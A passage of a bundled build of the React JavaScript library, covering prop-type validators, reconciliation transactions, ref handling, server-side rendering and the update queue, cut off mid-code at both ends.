JSON.stringify(expectedValues);\n    return new Error('Invalid ' + locationName + ' `' + propFullName + '` of value `' + propValue + '` ' + ('supplied to `' + componentName + '`, expected one of ' + valuesString + '.'));\n  }\n  return createChainableTypeChecker(validate);\n}\n\nfunction createObjectOfTypeChecker(typeChecker) {\n  function validate(props, propName, componentName, location, propFullName) {\n    if (typeof typeChecker !== 'function') {\n      return new Error('Property `' + propFullName + '` of component `' + componentName + '` has invalid PropType notation inside objectOf.');\n    }\n    var propValue = props[propName];\n    var propType = getPropType(propValue);\n    if (propType !== 'object') {\n      var locationName = ReactPropTypeLocationNames[location];\n      return new Error('Invalid ' + locationName + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected an object.'));\n    }\n    for (var key in propValue) {\n      if (propValue.hasOwnProperty(key)) {\n        var error = typeChecker(propValue, key, componentName, location, propFullName + '.' + key);\n        if (error instanceof Error) {\n          return error;\n        }\n      }\n    }\n    return null;\n  }\n  return createChainableTypeChecker(validate);\n}\n\nfunction createUnionTypeChecker(arrayOfTypeCheckers) {\n  if (!Array.isArray(arrayOfTypeCheckers)) {\n    return createChainableTypeChecker(function () {\n      return new Error('Invalid argument supplied to oneOfType, expected an instance of array.');\n    });\n  }\n\n  function validate(props, propName, componentName, location, propFullName) {\n    for (var i = 0; i < arrayOfTypeCheckers.length; i++) {\n      var checker = arrayOfTypeCheckers[i];\n      if (checker(props, propName, componentName, location, propFullName) == null) {\n        return null;\n      }\n    }\n\n    var locationName = ReactPropTypeLocationNames[location];\n    return new Error('Invalid ' + locationName + ' `' + propFullName + '` supplied to ' + ('`' + componentName + '`.'));\n  }\n  return createChainableTypeChecker(validate);\n}\n\nfunction createNodeChecker() {\n  function validate(props, propName, componentName, location, propFullName) {\n    if (!isNode(props[propName])) {\n      var locationName = ReactPropTypeLocationNames[location];\n      return new Error('Invalid ' + locationName + ' `' + propFullName + '` supplied to ' + ('`' + componentName + '`, expected a ReactNode.'));\n    }\n    return null;\n  }\n  return createChainableTypeChecker(validate);\n}\n\nfunction createShapeTypeChecker(shapeTypes) {\n  function validate(props, propName, componentName, location, propFullName) {\n    var propValue = props[propName];\n    var propType = getPropType(propValue);\n    if (propType !== 'object') {\n      var locationName = ReactPropTypeLocationNames[location];\n      return new Error('Invalid ' + locationName + ' `' + propFullName + '` of type `' + propType + '` ' + ('supplied to `' + componentName + '`, expected `object`.'));\n    }\n    for (var key in shapeTypes) {\n      var checker = shapeTypes[key];\n      if (!checker) {\n        continue;\n      }\n      var error = checker(propValue, key, componentName, location, propFullName + '.' + key);\n      if (error) {\n        return error;\n      }\n    }\n    return null;\n  }\n  return createChainableTypeChecker(validate);\n}\n\nfunction isNode(propValue) {\n  switch (typeof propValue) {\n    case 'number':\n    case 'string':\n    case 'undefined':\n      return true;\n    case 'boolean':\n      return !propValue;\n    case 'object':\n      if (Array.isArray(propValue)) {\n        return propValue.every(isNode);\n      }\n      if (propValue === null || ReactElement.isValidElement(propValue)) {\n        return true;\n      }\n\n      var iteratorFn = getIteratorFn(propValue);\n      if (iteratorFn) {\n        var iterator = iteratorFn.call(propValue);\n        var step;\n        if (iteratorFn !== propValue.entries) {\n          while (!(step = iterator.next()).done) {\n            if (!isNode(step.value)) {\n              return false;\n            }\n          }\n        } else {\n          // Iterator will provide entry [k,v] tuples rather than values.\n          while (!(step = iterator.next()).done) {\n            var entry = step.value;\n            if (entry) {\n              if (!isNode(entry[1])) {\n                return false;\n              }\n            }\n          }\n        }\n      } else {\n        return false;\n      }\n\n      return true;\n    default:\n      return false;\n  }\n}\n\n// Equivalent of `typeof` but with special handling for array and regexp.\nfunction getPropType(propValue) {\n  var propType = typeof propValue;\n  if (Array.isArray(propValue)) {\n    return 'array';\n  }\n  if (propValue instanceof RegExp) {\n    // Old webkits (at least until Android 4.0) return 'function' rather than\n    // 'object' for typeof a RegExp. We'll normalize this here so that /bla/\n    // passes PropTypes.object.\n    return 'object';\n  }\n  return propType;\n}\n\n// This handles more types than `getPropType`. Only used for error messages.\n// See `createPrimitiveTypeChecker`.\nfunction getPreciseType(propValue) {\n  var propType = getPropType(propValue);\n  if (propType === 'object') {\n    if (propValue instanceof Date) {\n      return 'date';\n    } else if (propValue instanceof RegExp) {\n      return 'regexp';\n    }\n  }\n  return propType;\n}\n\n// Returns class name of the object, if any.\nfunction getClassName(propValue) {\n  if (!propValue.constructor || !propValue.constructor.name) {\n    return ANONYMOUS;\n  }\n  return propValue.constructor.name;\n}\n\nmodule.exports = ReactPropTypes;\n},{\"127\":127,\"150\":150,\"62\":62,\"83\":83}],86:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactReconcileTransaction\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar CallbackQueue = _dereq_(5);\nvar PooledClass = _dereq_(25);\nvar ReactBrowserEventEmitter = _dereq_(27);\nvar ReactInputSelection = _dereq_(70);\nvar Transaction = _dereq_(112);\n\n/**\n * Ensures that, when possible, the selection range (currently selected text\n * input) is not disturbed by performing the transaction.\n */\nvar SELECTION_RESTORATION = {\n  /**\n   * @return {Selection} Selection information.\n   */\n  initialize: ReactInputSelection.getSelectionInformation,\n  /**\n   * @param {Selection} sel Selection information returned from `initialize`.\n   */\n  close: ReactInputSelection.restoreSelection\n};\n\n/**\n * Suppresses events (blur/focus) that could be inadvertently dispatched due to\n * high level DOM manipulations (like temporarily removing a text input from the\n * DOM).\n */\nvar EVENT_SUPPRESSION = {\n  /**\n   * @return {boolean} The enabled status of `ReactBrowserEventEmitter` before\n   * the reconciliation.\n   */\n  initialize: function () {\n    var currentlyEnabled = ReactBrowserEventEmitter.isEnabled();\n    ReactBrowserEventEmitter.setEnabled(false);\n    return currentlyEnabled;\n  },\n\n  /**\n   * @param {boolean} previouslyEnabled Enabled status of\n   *   `ReactBrowserEventEmitter` before the reconciliation occurred. `close`\n   *   restores the previous value.\n   */\n  close: function (previouslyEnabled) {\n    ReactBrowserEventEmitter.setEnabled(previouslyEnabled);\n  }\n};\n\n/**\n * Provides a queue for collecting `componentDidMount` and\n * `componentDidUpdate` callbacks during the transaction.\n */\nvar ON_DOM_READY_QUEUEING = {\n  /**\n   * Initializes the internal `onDOMReady` queue.\n   */\n  initialize: function () {\n    this.reactMountReady.reset();\n  },\n\n  /**\n   * After DOM is flushed, invoke all registered `onDOMReady` callbacks.\n   */\n  close: function () {\n    this.reactMountReady.notifyAll();\n  }\n};\n\n/**\n * Executed within the scope of the `Transaction` instance. Consider these as\n * being member methods, but with an implied ordering while being isolated from\n * each other.\n */\nvar TRANSACTION_WRAPPERS = [SELECTION_RESTORATION, EVENT_SUPPRESSION, ON_DOM_READY_QUEUEING];\n\n/**\n * Currently:\n * - The order that these are listed in the transaction is critical:\n * - Suppresses events.\n * - Restores selection range.\n *\n * Future:\n * - Restore document/overflow scroll positions that were unintentionally\n *   modified via DOM insertions above the top viewport boundary.\n * - Implement/integrate with customized constraint based layout system and keep\n *   track of which dimensions must be remeasured.\n *\n * @class ReactReconcileTransaction\n */\nfunction ReactReconcileTransaction(useCreateElement) {\n  this.reinitializeTransaction();\n  // Only server-side rendering really needs this option (see\n  // `ReactServerRendering`), but server-side uses\n  // `ReactServerRenderingTransaction` instead. This option is here so that it's\n  // accessible and defaults to false when `ReactDOMComponent` and\n  // `ReactTextComponent` checks it in `mountComponent`.`\n  this.renderToStaticMarkup = false;\n  this.reactMountReady = CallbackQueue.getPooled(null);\n  this.useCreateElement = useCreateElement;\n}\n\nvar Mixin = {\n  /**\n   * @see Transaction\n   * @abstract\n   * @final\n   * @return {array<object>} List of operation wrap procedures.\n   *   TODO: convert to array<TransactionWrapper>\n   */\n  getTransactionWrappers: function () {\n    return TRANSACTION_WRAPPERS;\n  },\n\n  /**\n   * @return {object} The queue to collect `onDOMReady` callbacks with.\n   */\n  getReactMountReady: function () {\n    return this.reactMountReady;\n  },\n\n  /**\n   * Save current transaction state -- if the return value from this method is\n   * passed to `rollback`, the transaction will be reset to that state.\n   */\n  checkpoint: function () {\n    // reactMountReady is the our only stateful wrapper\n    return this.reactMountReady.checkpoint();\n  },\n\n  rollback: function (checkpoint) {\n    this.reactMountReady.rollback(checkpoint);\n  },\n\n  /**\n   * `PooledClass` looks for this, and will invoke this before allowing this\n   * instance to be reused.\n   */\n  destructor: function () {\n    CallbackQueue.release(this.reactMountReady);\n    this.reactMountReady = null;\n  }\n};\n\n_assign(ReactReconcileTransaction.prototype, Transaction.Mixin, Mixin);\n\nPooledClass.addPoolingTo(ReactReconcileTransaction);\n\nmodule.exports = ReactReconcileTransaction;\n},{\"112\":112,\"169\":169,\"25\":25,\"27\":27,\"5\":5,\"70\":70}],87:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactReconciler\n */\n\n'use strict';\n\nvar ReactRef = _dereq_(88);\nvar ReactInstrumentation = _dereq_(72);\n\n/**\n * Helper to call ReactRef.attachRefs with this composite component, split out\n * to avoid allocations in the transaction mount-ready queue.\n */\nfunction attachRefs() {\n  ReactRef.attachRefs(this, this._currentElement);\n}\n\nvar ReactReconciler = {\n\n  /**\n   * Initializes the component, renders markup, and registers event listeners.\n   *\n   * @param {ReactComponent} internalInstance\n   * @param {ReactReconcileTransaction|ReactServerRenderingTransaction} transaction\n   * @param {?object} the containing native component instance\n   * @param {?object} info about the native container\n   * @return {?string} Rendered markup to be inserted into the DOM.\n   * @final\n   * @internal\n   */\n  mountComponent: function (internalInstance, transaction, nativeParent, nativeContainerInfo, context) {\n    var markup = internalInstance.mountComponent(transaction, nativeParent, nativeContainerInfo, context);\n    if (internalInstance._currentElement && internalInstance._currentElement.ref != null) {\n      transaction.getReactMountReady().enqueue(attachRefs, internalInstance);\n    }\n    if (\"development\" !== 'production') {\n      ReactInstrumentation.debugTool.onMountComponent(internalInstance);\n    }\n    return markup;\n  },\n\n  /**\n   * Returns a value that can be passed to\n   * ReactComponentEnvironment.replaceNodeWithMarkup.\n   */\n  getNativeNode: function (internalInstance) {\n    return internalInstance.getNativeNode();\n  },\n\n  /**\n   * Releases any resources allocated by `mountComponent`.\n   *\n   * @final\n   * @internal\n   */\n  unmountComponent: function (internalInstance, safely) {\n    ReactRef.detachRefs(internalInstance, internalInstance._currentElement);\n    internalInstance.unmountComponent(safely);\n    if (\"development\" !== 'production') {\n      ReactInstrumentation.debugTool.onUnmountComponent(internalInstance);\n    }\n  },\n\n  /**\n   * Update a component using a new element.\n   *\n   * @param {ReactComponent} internalInstance\n   * @param {ReactElement} nextElement\n   * @param {ReactReconcileTransaction} transaction\n   * @param {object} context\n   * @internal\n   */\n  receiveComponent: function (internalInstance, nextElement, transaction, context) {\n    var prevElement = internalInstance._currentElement;\n\n    if (nextElement === prevElement && context === internalInstance._context) {\n      // Since elements are immutable after the owner is rendered,\n      // we can do a cheap identity compare here to determine if this is a\n      // superfluous reconcile. It's possible for state to be mutable but such\n      // change should trigger an update of the owner which would recreate\n      // the element. We explicitly check for the existence of an owner since\n      // it's possible for an element created outside a composite to be\n      // deeply mutated and reused.\n\n      // TODO: Bailing out early is just a perf optimization right?\n      // TODO: Removing the return statement should affect correctness?\n      return;\n    }\n\n    var refsChanged = ReactRef.shouldUpdateRefs(prevElement, nextElement);\n\n    if (refsChanged) {\n      ReactRef.detachRefs(internalInstance, prevElement);\n    }\n\n    internalInstance.receiveComponent(nextElement, transaction, context);\n\n    if (refsChanged && internalInstance._currentElement && internalInstance._currentElement.ref != null) {\n      transaction.getReactMountReady().enqueue(attachRefs, internalInstance);\n    }\n\n    if (\"development\" !== 'production') {\n      ReactInstrumentation.debugTool.onUpdateComponent(internalInstance);\n    }\n  },\n\n  /**\n   * Flush any dirty changes in a component.\n   *\n   * @param {ReactComponent} internalInstance\n   * @param {ReactReconcileTransaction} transaction\n   * @internal\n   */\n  performUpdateIfNecessary: function (internalInstance, transaction) {\n    internalInstance.performUpdateIfNecessary(transaction);\n    if (\"development\" !== 'production') {\n      ReactInstrumentation.debugTool.onUpdateComponent(internalInstance);\n    }\n  }\n\n};\n\nmodule.exports = ReactReconciler;\n},{\"72\":72,\"88\":88}],88:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactRef\n */\n\n'use strict';\n\nvar ReactOwner = _dereq_(81);\n\nvar ReactRef = {};\n\nfunction attachRef(ref, component, owner) {\n  if (typeof ref === 'function') {\n    ref(component.getPublicInstance());\n  } else {\n    // Legacy ref\n    ReactOwner.addComponentAsRefTo(component, ref, owner);\n  }\n}\n\nfunction detachRef(ref, component, owner) {\n  if (typeof ref === 'function') {\n    ref(null);\n  } else {\n    // Legacy ref\n    ReactOwner.removeComponentAsRefFrom(component, ref, owner);\n  }\n}\n\nReactRef.attachRefs = function (instance, element) {\n  if (element === null || element === false) {\n    return;\n  }\n  var ref = element.ref;\n  if (ref != null) {\n    attachRef(ref, instance, element._owner);\n  }\n};\n\nReactRef.shouldUpdateRefs = function (prevElement, nextElement) {\n  // If either the owner or a `ref` has changed, make sure the newest owner\n  // has stored a reference to `this`, and the previous owner (if different)\n  // has forgotten the reference to `this`. We use the element instead\n  // of the public this.props because the post processing cannot determine\n  // a ref. The ref conceptually lives on the element.\n\n  // TODO: Should this even be possible? The owner cannot change because\n  // it's forbidden by shouldUpdateReactComponent. The ref can change\n  // if you swap the keys of but not the refs. Reconsider where this check\n  // is made. It probably belongs where the key checking and\n  // instantiateReactComponent is done.\n\n  var prevEmpty = prevElement === null || prevElement === false;\n  var nextEmpty = nextElement === null || nextElement === false;\n\n  return(\n    // This has a few false positives w/r/t empty components.\n    prevEmpty || nextEmpty || nextElement._owner !== prevElement._owner || nextElement.ref !== prevElement.ref\n  );\n};\n\nReactRef.detachRefs = function (instance, element) {\n  if (element === null || element === false) {\n    return;\n  }\n  var ref = element.ref;\n  if (ref != null) {\n    detachRef(ref, instance, element._owner);\n  }\n};\n\nmodule.exports = ReactRef;\n},{\"81\":81}],89:[function(_dereq_,module,exports){\n/**\n * Copyright 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactServerBatchingStrategy\n */\n\n'use strict';\n\nvar ReactServerBatchingStrategy = {\n  isBatchingUpdates: false,\n  batchedUpdates: function (callback) {\n    // Don't do anything here. During the server rendering we don't want to\n    // schedule any updates. We will simply ignore them.\n  }\n};\n\nmodule.exports = ReactServerBatchingStrategy;\n},{}],90:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactServerRendering\n */\n'use strict';\n\nvar ReactDOMContainerInfo = _dereq_(41);\nvar ReactDefaultBatchingStrategy = _dereq_(58);\nvar ReactElement = _dereq_(62);\nvar ReactMarkupChecksum = _dereq_(74);\nvar ReactServerBatchingStrategy = _dereq_(89);\nvar ReactServerRenderingTransaction = _dereq_(91);\nvar ReactUpdates = _dereq_(94);\n\nvar emptyObject = _dereq_(151);\nvar instantiateReactComponent = _dereq_(132);\nvar invariant = _dereq_(158);\n\n/**\n * @param {ReactElement} element\n * @return {string} the HTML markup\n */\nfunction renderToStringImpl(element, makeStaticMarkup) {\n  var transaction;\n  try {\n    ReactUpdates.injection.injectBatchingStrategy(ReactServerBatchingStrategy);\n\n    transaction = ReactServerRenderingTransaction.getPooled(makeStaticMarkup);\n\n    return transaction.perform(function () {\n      var componentInstance = instantiateReactComponent(element);\n      var markup = componentInstance.mountComponent(transaction, null, ReactDOMContainerInfo(), emptyObject);\n      if (!makeStaticMarkup) {\n        markup = ReactMarkupChecksum.addChecksumToMarkup(markup);\n      }\n      return markup;\n    }, null);\n  } finally {\n    ReactServerRenderingTransaction.release(transaction);\n    // Revert to the DOM batching strategy since these two renderers\n    // currently share these stateful modules.\n    ReactUpdates.injection.injectBatchingStrategy(ReactDefaultBatchingStrategy);\n  }\n}\n\nfunction renderToString(element) {\n  !ReactElement.isValidElement(element) ? \"development\" !== 'production' ? invariant(false, 'renderToString(): You must pass a valid ReactElement.') : invariant(false) : void 0;\n  return renderToStringImpl(element, false);\n}\n\nfunction renderToStaticMarkup(element) {\n  !ReactElement.isValidElement(element) ? \"development\" !== 'production' ? invariant(false, 'renderToStaticMarkup(): You must pass a valid ReactElement.') : invariant(false) : void 0;\n  return renderToStringImpl(element, true);\n}\n\nmodule.exports = {\n  renderToString: renderToString,\n  renderToStaticMarkup: renderToStaticMarkup\n};\n},{\"132\":132,\"151\":151,\"158\":158,\"41\":41,\"58\":58,\"62\":62,\"74\":74,\"89\":89,\"91\":91,\"94\":94}],91:[function(_dereq_,module,exports){\n/**\n * Copyright 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactServerRenderingTransaction\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar PooledClass = _dereq_(25);\nvar Transaction = _dereq_(112);\n\n/**\n * Executed within the scope of the `Transaction` instance. Consider these as\n * being member methods, but with an implied ordering while being isolated from\n * each other.\n */\nvar TRANSACTION_WRAPPERS = [];\n\nvar noopCallbackQueue = {\n  enqueue: function () {}\n};\n\n/**\n * @class ReactServerRenderingTransaction\n * @param {boolean} renderToStaticMarkup\n */\nfunction ReactServerRenderingTransaction(renderToStaticMarkup) {\n  this.reinitializeTransaction();\n  this.renderToStaticMarkup = renderToStaticMarkup;\n  this.useCreateElement = false;\n}\n\nvar Mixin = {\n  /**\n   * @see Transaction\n   * @abstract\n   * @final\n   * @return {array} Empty list of operation wrap procedures.\n   */\n  getTransactionWrappers: function () {\n    return TRANSACTION_WRAPPERS;\n  },\n\n  /**\n   * @return {object} The queue to collect `onDOMReady` callbacks with.\n   */\n  getReactMountReady: function () {\n    return noopCallbackQueue;\n  },\n\n  /**\n   * `PooledClass` looks for this, and will invoke this before allowing this\n   * instance to be reused.\n   */\n  destructor: function () {}\n};\n\n_assign(ReactServerRenderingTransaction.prototype, Transaction.Mixin, Mixin);\n\nPooledClass.addPoolingTo(ReactServerRenderingTransaction);\n\nmodule.exports = ReactServerRenderingTransaction;\n},{\"112\":112,\"169\":169,\"25\":25}],92:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactUMDEntry\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar ReactDOM = _dereq_(36);\nvar ReactDOMServer = _dereq_(52);\nvar React = _dereq_(26);\n\n// `version` will be added here by ReactIsomorphic.\nvar ReactUMDEntry = _assign({\n  __SECRET_DOM_DO_NOT_USE_OR_YOU_WILL_BE_FIRED: ReactDOM,\n  __SECRET_DOM_SERVER_DO_NOT_USE_OR_YOU_WILL_BE_FIRED: ReactDOMServer\n}, React);\n\nmodule.exports = ReactUMDEntry;\n},{\"169\":169,\"26\":26,\"36\":36,\"52\":52}],93:[function(_dereq_,module,exports){\n/**\n * Copyright 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactUpdateQueue\n */\n\n'use strict';\n\nvar ReactCurrentOwner = _dereq_(35);\nvar ReactInstanceMap = _dereq_(71);\nvar ReactUpdates = _dereq_(94);\n\nvar invariant = _dereq_(158);\nvar warning = _dereq_(168);\n\nfunction enqueueUpdate(internalInstance) {\n  ReactUpdates.enqueueUpdate(internalInstance);\n}\n\nfunction formatUnexpectedArgument(arg) {\n  var type = typeof arg;\n  if (type !== 'object') {\n    return type;\n  }\n  var displayName = arg.constructor && arg.constructor.name || type;\n  var keys = Object.keys(arg);\n  if (keys.length > 0 && keys.length < 20) {\n    return displayName + ' (keys: ' + keys.join(', ') + ')';\n  }\n  return displayName;\n}\n\nfunction getInternalInstanceReadyForUpdate(publicInstance, callerName) {\n  var internalInstance = ReactInstanceMap.get(publicInstance);\n  if (!internalInstance) {\n    if (\"development\" !== 'production') {\n      // Only warn when we have a callerName. Otherwise we should be silent.\n      // We're probably calling from enqueueCallback. We don't want to warn\n      // there because we already warned for the corresponding lifecycle method.\n      \"development\" !== 'production' ? warning(!callerName, '%s(...): Can only update a mounted or mounting component. ' + 'This usually means you called %s() on an unmounted component. ' + 'This is a no-op. Please check the code for the %s component.', callerName, callerName, publicInstance.constructor.displayName) : void 0;\n    }\n    return null;\n  }\n\n  if (\"development\" !== 'production') {\n    \"development\" !== 'production' ? warning(ReactCurrentOwner.current == null, '%s(...): Cannot update during an existing state transition (such as ' + 'within `render` or another component\\'s constructor). Render methods ' + 'should be a pure function of props and state; constructor ' + 'side-effects are an anti-pattern, but can be moved to ' + '`componentWillMount`.', callerName) : void 0;\n  }\n\n  return internalInstance;\n}\n\n/**\n * ReactUpdateQueue allows for state updates to be scheduled into a later\n * reconciliation step.\n */\nvar ReactUpdateQueue = {\n\n  /**\n   * Checks whether or not this composite component is mounted.\n   * @param {ReactClass} publicInstance The instance we want to test.\n   * @return {boolean} True if mounted, false otherwise.\n   * @protected\n   * @final\n   */\n  isMounted: function (publicInstance) {\n    if (\"development\" !== 'production') {\n      var owner = ReactCurrentOwner.current;\n      if (owner !== null) {\n        \"development\" !== 'production' ? warning(owner._warnedAboutRefsInRender, '%s is accessing isMounted inside its render() function. ' + 'render() should be a pure function of props and state. It should ' + 'never access something that requires stale data from the previous ' + 'render, such as refs. Move this logic to componentDidMount and ' + 'componentDidUpdate instead.', owner.getName() || 'A component') : void 0;\n        owner._warnedAboutRefsInRender = true;\n      }\n    }\n    var internalInstance = ReactInstanceMap.get(publicInstance);\n    if (internalInstance) {\n      // During componentWillMount and render this will still be null but after\n      // that will always render to something. At least for now. So we can use\n      // this hack.\n      return !!internalInstance._renderedComponent;\n    } else {\n      return false;\n    }\n  },\n\n  /**\n   * Enqueue a callback that will be executed after all the pending updates\n   * have processed.\n   *\n   * @param {ReactClass} publicInstance The instance to use as `this` context.\n   * @param {?function} callback Called after state is updated.\n   * @param {string} callerName Name of the calling function in the public API.\n   * @internal\n   */\n  enqueueCallback: function (publicInstance, callback, callerName) {\n    ReactUpdateQueue.validateCallback(callback, callerName);\n    var internalInstance = getInternalInstanceReadyForUpdate(publicInstance);\n\n    // Previously we would throw an error if we didn't have an internal\n    // instance. Since we want to make it a no-op instead, we mirror the same\n    // behavior we have in other enqueue* methods.\n    // We also need to ignore callbacks in componentWillMount. See\n    // enqueueUpdates.\n    if (!internalInstance) {\n      return null;\n    }\n\n    if (internalInstance._pendingCallbacks) {\n      internalInstance._pendingCallbacks.push(callback);\n    } else {\n      internalInstance._pendingCallbacks = [callback];\n    }\n    // TODO: The callback here is ignored when setState is called from\n    // componentWillMount. Either fix it or disallow doing so completely in\n    // favor of getInitialState. Alternatively, we can disallow\n    // componentWillMount during server-side rendering.\n    enqueueUpdate(internalInstance);\n  },\n\n  enqueueCallbackInternal: function (internalInstance, callback) {\n    if (internalInstance._pendingCallbacks) {\n      internalInstance._pendingCallbacks.push(callback);\n    } else {\n      internalInstance._pendingCallbacks = [callback];\n    }\n    enqueueUpdate(internalInstance);\n  },\n\n  /**\n   * Forces an update. This should only be invoked when it is known with\n   * certainty that we are **not** in a DOM transaction.\n   *\n   * You may want to call this when you know that some deeper aspect of the\n   * component's state has changed but `setState` was not called.\n   *\n   * This will not invoke `shouldComponentUpdate`, but it will invoke\n   * `componentWillUpdate` and `componentDidUpdate`.\n   *\n   * @param {ReactClass} publicInstance The instance that should rerender.\n   * @internal\n   */\n  enqueueForceUpdate: function (publicInstance) {\n    var internalInstance = getInternalInstanceReadyForUpdate(publicInstance, 'forceUpdate');\n\n    if (!internalInstance) {\n      return;\n    }\n\n    internalInstance._pendingForceUpdate = true;\n\n    enqueueUpdate(internalInstance);\n  },\n\n  /**\n   * Replaces all of the state. Always use this or `setState` to mutate state.\n   * You should treat `this.state` as immutable.\n   *\n   * There is no guarantee that `this.state` will be immediately updated, so\n   * accessing `this.state` after calling this method may return the old value.\n   *\n   * @param {ReactClass} publicInstance The instance that should rerender.\n   * @param {object} completeState Next state.\n   * @internal\n   */\n  enqueueReplaceState: function (publicInstance, completeState) {\n    var internalInstance = getInternalInstanceReadyForUpdate(publicInstance, 'replaceState');\n\n    if (!internalInstance) {\n      return;\n    }\n\n    internalInstance._pendingStateQueue = [completeState];\n    internalInstance._pendingReplaceState = true;\n\n    enqueueUpdate(internalInstance);\n  },\n\n  /**\n   * Sets a subset of the state. This only exists because _pendingState is\n   * internal. This provides a merging strategy that is not available to deep\n   * properties which is confusing. TODO: Expose pendingState or don't use it\n   * during the merge.\n   *\n   * @param {ReactClass} publicInstance The instance that should rerender.\n   * @param {object} partialState Next partial state to be merged with state.\n   * @internal\n   */\n  enqueueSetState: function (publicInstance, partialState) {\n    var internalInstance = getInternalInstanceReadyForUpdate(publicInstance, 'setState');\n\n    if (!internalInstance) {\n      return;\n    }\n\n    var queue = internalInstance._pendingStateQueue || (internalInstance._pendingStateQueue = []);\n    queue.push(partialState);\n\n    enqueueUpdate(internalInstance);\n  },\n\n  enqueueElementInternal: function (internalInstance, newElement) {\n    internalInstance._pendingElement = newElement;\n    enqueueUpdate(internalInstance);\n  },\n\n  validateCallback: function (callback, callerName) {\n    !(!callback || typeof callback === 'function') ? \"development\" !== 'production' ? invariant(false, '%s(...): Expected the last optional `callback` argument to be a ' + 'function. Instead received: %s.', callerName, formatUnexpectedArgument(callback)) : invariant(false) : void 0;\n  }\n\n};\n\nmodule.exports = ReactUpdateQueue;\n},{\"158\":158,\"168\":168,\"35\":35,\"71\":71,\"94\":94}],94:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactUpdates\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar CallbackQueue = _dereq_(5);\nvar PooledClass = _dereq_(25);\nvar ReactFeatureFlags = _dereq_(68);\nvar ReactPerf = _dereq_(82);\nvar ReactReconciler = _dereq_(87);\nvar Transaction = _dereq_(112);\n\nvar invariant = _dereq_(158);\n\nvar dirtyComponents = [];\nvar asapCallbackQueue = CallbackQueue.getPooled();\nvar asapEnqueued = false;\n\nvar batchingStrategy = null;\n\nfunction ensureInjected() {\n  !(ReactUpdates.ReactReconcileTransaction && batchingStrategy) ? \"development\" !== 'production' ? invariant(false, 'ReactUpdates: must inject a reconcile transaction class and batching ' + 'strategy') : invariant(false) : void 0;\n}\n\nvar NESTED_UPDATES = {\n  initialize: function () {\n    this.dirtyComponentsLength = dirtyComponents.length;\n  },\n  close: function () {\n    if (this.dirtyComponentsLength !== dirtyComponents.length) {\n      // Additional updates were enqueued by componentDidUpdate handlers or\n      // similar; before our own UPDATE_QUEUEING wrapper closes, we want to run\n      // these new updates so that if A's componentDidUpdate calls setState on\n      // B, B will update before the callback A's updater provided when calling\n      // setState.\n      dirtyComponents.splice(0, this.dirtyComponentsLength);\n      flushBatchedUpdates();\n    } else {\n      dirtyComponents.length = 0;\n    }\n  }\n};\n\nvar UPDATE_QUEUEING = {\n  initialize: function () {\n    this.callbackQueue.reset();\n  },\n  close: function () {\n    this.callbackQueue.notifyAll();\n  }\n};\n\nvar TRANSACTION_WRAPPERS = [NESTED_UPDATES, UPDATE_QUEUEING];\n\nfunction ReactUpdatesFlushTransaction() {\n  this.reinitializeTransaction();\n  this.dirtyComponentsLength = null;\n  this.callbackQueue = CallbackQueue.getPooled();\n  this.reconcileTransaction = ReactUpdates.ReactReconcileTransaction.getPooled(\n  /* useCreateElement */true);\n}\n\n_assign(ReactUpdatesFlushTransaction.prototype, Transaction.Mixin, {\n  getTransactionWrappers: function () {\n    return TRANSACTION_WRAPPERS;\n  },\n\n  destructor: function () {\n    this.dirtyComponentsLength = null;\n    CallbackQueue.release(this.callbackQueue);\n    this.callbackQueue = null;\n    ReactUpdates.ReactReconcileTransaction.release(this.reconcileTransaction);\n    this.reconcileTransaction = null;\n  },\n\n  perform: function (method, scope, a) {\n    // Essentially calls `this.reconcileTransaction.perform(method, scope, a)`\n    // with this transaction's wrappers around it.\n    return Transaction.Mixin.perform.call(this, this.reconcileTransaction.perform, this.reconcileTransaction, method, scope, a);\n  }\n});\n\nPooledClass.addPoolingTo(ReactUpdatesFlushTransaction);\n\nfunction batchedUpdates(callback, a, b, c, d, e) {\n  ensureInjected();\n  batchingStrategy.batchedUpdates(callback, a, b, c, d, e);\n}\n\n/**\n * Array comparator for ReactComponents by mount ordering.\n *\n * @param {ReactComponent} c1 